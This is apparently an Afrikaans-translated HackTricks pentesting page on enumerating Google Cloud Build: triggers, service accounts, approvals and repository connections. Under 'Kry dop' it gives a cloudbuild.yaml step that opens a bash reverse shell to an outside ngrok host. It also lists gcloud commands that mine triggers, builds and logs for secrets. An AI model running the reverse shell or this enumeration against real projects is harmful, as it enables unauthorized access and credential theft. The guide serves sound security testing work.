GCP - Cloud Build Enum

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Google Cloud Build is 'n bestuurde CI/CD-platform wat die outomatiese sagtewarebou- en vrystellingsprosesse outomatiseer, integreer met bronkode-opslagplaas en 'n wye verskeidenheid programmeer tale ondersteun. Dit laat ontwikkelaars toe om kode outomaties te bou, toets en implementeer terwyl dit die buigsaamheid bied om boustappe en werkstrome aan te pas.

Elke Cloud Build Trigger is verwant aan 'n Cloud Repository of direk gekoppel met 'n eksterne opslagplaas (Github, Bitbucket en Gitlab).

Ek kon nie enige manier sien om die Github/Bitbucket-token van hier of van Cloud Repositories te steel nie omdat wanneer die opslagplaas afgelaai word, dit via 'n https://source.cloud.google.com/ URL toegang kry en Github nie deur die klient toegang kry nie.

Gebeure

Die Cloud Build kan geaktiveer word as:

  • Druk na 'n tak: Spesifiseer die tak

  • Druk 'n nuwe etiket: Spesifiseer die etiket

  • Pull-aanvraag: Spesifiseer die tak wat die PR ontvang

  • Handmatige Uitnodiging

  • Pub/Sub-boodskap: Spesifiseer die onderwerp

  • Webhook-gebeurtenis: Sal 'n HTTPS-URL blootstel en die versoek moet geoutentiseer word met 'n geheim

Uitvoering

Daar is 3 opsies:

  • 'n yaml/json wat die bevele spesifiseer om uit te voer. Gewoonlik: /cloudbuild.yaml

  • Slegs een wat "inline" in die webkonsolide en in die opdraggewer gespesifiseer kan word

  • Mees algemene opsie

  • Relevant vir ongeoutentiseerde toegang

  • 'n Dockerfile om te bou

  • 'n Buildpack om te bou

SA-permissies

Die Diensrekening het die cloud-platform-omvang, sodat dit alle voorregte kan gebruik. As geen SA gespesifiseer is (soos wanneer 'n indiening gedoen word) sal die verstek SA <proj-nommer>@cloudbuild.gserviceaccount.com gebruik word.

Standaard word geen toestemmings gegee nie, maar dit is redelik maklik om dit te gee:

Goedkeurings

Dit is moontlik om 'n Cloud Build te konfigureer om goedkeurings vir bou-uitvoerings te vereis (standaard gedeaktiveer).

PR-Goedkeurings

Wanneer die trigger PR is omdat enigiemand PR's na openbare opslagplase kan doen sou dit baie gevaarlik wees om net die uitvoering van die trigger met enige PR toe te laat. Daarom sal die uitvoering standaard slegs outomaties wees vir eienaars en samewerkers, en om die trigger met ander gebruikers se PR's uit te voer, moet 'n eienaar of samewerker kommentaar lewer /gcbrun.

Verbindings & Opstelplase

Verbindings kan geskep word oor:

  • GitHub: Dit sal 'n OAuth-prompt toon wat vra vir toestemmings om 'n Github-token te kry wat binne die Secret Manager gestoor sal word.

  • GitHub Enterprise: Dit sal vra om 'n GithubApp te installeer. 'n Outentiseringsleutel van jou GitHub Enterprise-gashuis sal geskep en in hierdie projek as 'n Secret Manager-geheim gestoor word.

  • GitLab / Enterprise: Jy moet die API-toegangstoken en die Lees-API-toegangstoken verskaf wat in die Secret Manager gestoor sal word.

Sodra 'n verbinding gegenereer is, kan jy dit gebruik om opstelplase te koppel wat die Github-rekening toegang tot het.

Hierdie opsie is beskikbaar deur die knoppie:

Let daarop dat opstelplase wat op hierdie manier gekoppel is, slegs beskikbaar is in Triggers wat 2de generasie gebruik.

Koppel 'n Opstelplaas

Dit is nie dieselfde as 'n verbindings nie. Dit bied verskillende maniere om toegang tot 'n Github- of Bitbucket-opstelplaas te kry, maar skep nie 'n verbindingsobjek nie, maar dit skep 'n opstelplaasobjek (van 1ste generasie).

Hierdie opsie is beskikbaar deur die knoppie:

Berging

Soms sal Cloud Build 'n nuwe berging genereer om die lêers vir die trigger te stoor. Dit gebeur byvoorbeeld in die voorbeeld wat GCP aanbied met:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

'n Stoorhouer genaamd security-devbox_cloudbuild is geskep om 'n .tgz met die lêers wat gebruik moet word, te stoor.

Kry dop

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installeer gcloud binne die wolkbou:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Opsomming

Jy kan sensitiewe inligting in boukonfigurasies en logboeke vind.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Voorregskaping

GCP - Cloudbuild Privesc

Ongeagte Toegang

GCP - Cloud Build Unauthenticated Enum

Na-Exploitasie

GCP - Cloud Build Post Exploitation
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated